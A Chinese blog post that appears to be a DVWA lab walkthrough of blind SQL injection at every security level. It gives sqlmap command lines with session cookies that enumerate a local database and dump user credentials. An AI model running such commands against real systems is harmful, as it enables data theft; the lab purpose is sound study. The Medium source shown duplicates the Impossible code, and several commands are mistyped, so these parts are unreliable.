【DVWA】20. SQL Injection (Blind)SQL注入盲注(全等级Sqlmap版)

avatar
作者
筋斗云
阅读量:2

文章目录

0. 盲注介绍

盲注,有两种主要类型,包括布尔盲注和时间盲注

0.1 布尔盲注

核心是判断回显正确与否。布尔即页面有回显,但不显示具体内容,只有登陆成功和登录失败这两种情况,显示语句是否正常执行。布尔盲注的步骤是首先使用length()判断查询结果的长度,然后使用substr()截取每一个字符,并穷举出字符内容。
常用的函数还有sleep()和if()

0.2 时间盲注

通过注入特定语句,根据对页面请求的物理反馈,判断是否注入成功,比如在SQL语句当中使用sleep()函数加载网页的时间来判断注入点,适用场景是无法从显示页面上互殴去执行结果的情况。

0.3 常用函数

if()

功能:条件判断。
语法格式:if(expr1,expr2,expr3):expr1
为true则返回expr2,expr1为false则返回 expr3。
注: 仅MySQL支持if(expr1,expr2,expr3)。

length()

功能:返回字符串的长度,以字节为单位。
语法格式:length(str)

substr()、substring()

功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)或substring(str,pos,len)
参数说明
lstr:要提取子串的字符串。
lpos:提取子串的开始位置。
len:指定要提取的子串的长度

ascii()、ord()

功能:返回字符串最左边字符的ASCII码值。
语法格式:ascii(str),ord(str)
延时函数sleep()
功能:让语句延迟执行一段时间,执行成功后返回0。
语法格式:sleep(N),即延迟执行N秒。

1. Low

1.1 源码分析

<?php  if( isset( $_GET[ 'Submit' ] ) ) {     // Get input     $id = $_GET[ 'id' ];      // Check database     $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors      // Get results     $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors     if( $num > 0 ) {         // Feedback for end user         echo '<pre>User ID exists in the database.</pre>';     }     else {         // User wasn't found, so the page wasn't!         header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );          // Feedback for end user         echo '<pre>User ID is MISSING from the database.</pre>';     }      ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }  ?>  

这段PHP代码直接将用户输入(通过$_GET[‘id’]获取)拼接到了SQL查询语句中,而没有进行任何形式的验证或转义。

即变量 i d 直接从 id直接从 id直接从_GET全局数组中获取,然后在查询语句中未经处理直接使用:

在这里插入图片描述
如果攻击者在请求的URL当中传递了恶意的id参数,将导致查询条件总是为真,可能会返回所有用户的信息,从而泄露敏感数据
回显也有问题,返回结果只有两种,user id exiets in the database和user id is missing from the database。
在这里插入图片描述

1.2 实操

在这里插入图片描述
输入1之后点击submit抓包
在这里插入图片描述
获取到URL和Cookie信息

Referer: http://localhost:8081/dvwa/vulnerabilities/sqli_blind/ Cookie: security=low; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9 

然后构建sqlmap语句

sqlmap –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch 

sqlmap的-batch参数是一个非交互式模式,它允许sqlmap在不需要用户干预的情况下运行。当使用-batch参数时,sqlmap会自动使用默认设置执行操作,而不会在每一步中询问用户的选择。这对于自动化任务或批处理操作特别有用,因为它可以避免脚本执行过程中的任何停顿。
这将指示sqlmap自动进行测试,而不会提示用户输入额外的信息或确认。这个参数非常适合在你已经知道目标参数并希望快速完成测试时使用

在这里插入图片描述
可以看到sqlmap给出结果,当前网站存在布尔盲注和时间盲注和报错三种情况
在这里插入图片描述
于是继续使用工具爆库名

sqlmap –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch --dbs 

看到有如下八个表
在这里插入图片描述
随后指定数据库获取表名
我们这里指定dvwa数据库

python sqlmap.py -u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch -D dvwa --tables 

在这里插入图片描述
看到有两个表,我们继续指定表users获取更多属性信息

python sqlmap.py -u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch -D dvwa -T users --columns 

在这里插入图片描述
我们看到了user_id和password
于是我们查看这两个属性的内容并解密

python sqlmap.py -u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch -D dvwa -T users --dump 

在这里插入图片描述可以看到所有信息都dump下来了,我们也可以指定只看id和password

python sqlmap.py -u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch -D dvwa -T users -C user,password -dump 

这样显示的就只有两列了
在这里插入图片描述

2. Medium

2.1 源码分析

<?php  if( isset( $_GET[ 'Submit' ] ) ) {     // Check Anti-CSRF token     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );      // Get input     $id = $_GET[ 'id' ];      // Was a number entered?     if(is_numeric( $id )) {         // Check the database         $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );         $data->bindParam( ':id', $id, PDO::PARAM_INT );         $data->execute();          // Get results         if( $data->rowCount() == 1 ) {             // Feedback for end user             echo '<pre>User ID exists in the database.</pre>';         }         else {             // User wasn't found, so the page wasn't!             header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );              // Feedback for end user             echo '<pre>User ID is MISSING from the database.</pre>';         }     } }  // Generate Anti-CSRF token generateSessionToken();  ?>  

输入只接受选择了,回显还是那两个,使用bp抓包进行了

2.2 实操

可以看到不接受用户输入了只能选择
在这里插入图片描述
选择1进行抓包
在这里插入图片描述
获取URL和Cookie

/dvwa/vulnerabilities/sqli_blind/ HTTP/1.1 id=1&Submit=Submit security=medium; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9 

仍然按照low的思路进行

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=medium; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch 

还是存在盲注漏洞
在这里插入图片描述

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=medium; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch --dbs 

在这里插入图片描述

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=medium; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch -D dvwa --tables 

在这里插入图片描述

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=medium; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch -D dvwa -T users --columns 

在这里插入图片描述

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=medium; PHPSESSID=aho8tb4mqkidn6k8bao7vlq5u9” --batch -D dvwa -T users -C user,password -dump 

在这里插入图片描述

3. High

3.1 源码分析

<?php  if( isset( $_COOKIE[ 'id' ] ) ) {     // Get input     $id = $_COOKIE[ 'id' ];      // Check database     $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors      // Get results     $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors     if( $num > 0 ) {         // Feedback for end user         echo '<pre>User ID exists in the database.</pre>';     }     else {         // Might sleep a random amount         if( rand( 0, 5 ) == 3 ) {             sleep( rand( 2, 4 ) );         }          // User wasn't found, so the page wasn't!         header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );          // Feedback for end user         echo '<pre>User ID is MISSING from the database.</pre>';     }      ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }  ?>  

限制了输出行数为一行,而且失败时 当他随机生成的数等于3就会随机休眠2-4秒,目的是干扰基于时间的盲注
在这里插入图片描述
在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;虽然添加了LIMIT 1,但是我们可以通过#将其注释掉
在这里插入图片描述

3.2 实操

在这里插入图片描述这次注意,填写信息是新的页面
请求窗口和响应窗口,查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)

所以需要进行二阶sql注入
先抓取原始页面
在这里插入图片描述

然后抓取弹出的POST请求
在这里插入图片描述
随后构造我们的sqlmap语句

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/” --cookie=“id=1; security=high;  PHPSESSID=8dkm47nbfg46sppm7n1lnkbvq2” --batch 

可以看到存在如下漏洞,和Low/Medium相同
在这里插入图片描述
然后我们进行数据库的遍历

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/” --cookie=“id=1; security=high;  PHPSESSID=8dkm47nbfg46sppm7n1lnkbvq2” --batch --dbs 

在这里插入图片描述
然后进行表的遍历

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/” --cookie=“id=1; security=high;  PHPSESSID=8dkm47nbfg46sppm7n1lnkbvq2” --batch -D dvwa --tables 

在这里插入图片描述
进行列的遍历

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/” --cookie=“id=1; security=high;  PHPSESSID=8dkm47nbfg46sppm7n1lnkbvq2” --batch -D dvwa -T users --columns 

在这里插入图片描述
对用户名密码进行爆破

python sqlmap.py –u “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://localhost:8081/dvwa/vulnerabilities/sqli_blind/” --cookie=“id=1; security=high;  PHPSESSID=8dkm47nbfg46sppm7n1lnkbvq2” --batch -D dvwa -T users -C user,password --dump 

在这里插入图片描述

4. Impossible

4.1 源码分析

<?php  if( isset( $_GET[ 'Submit' ] ) ) {     // Check Anti-CSRF token     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );      // Get input     $id = $_GET[ 'id' ];      // Was a number entered?     if(is_numeric( $id )) {         // Check the database         $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );         $data->bindParam( ':id', $id, PDO::PARAM_INT );         $data->execute();          // Get results         if( $data->rowCount() == 1 ) {             // Feedback for end user             echo '<pre>User ID exists in the database.</pre>';         }         else {             // User wasn't found, so the page wasn't!             header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );              // Feedback for end user             echo '<pre>User ID is MISSING from the database.</pre>';         }     } }  // Generate Anti-CSRF token generateSessionToken();  ?>  

impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了爆库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!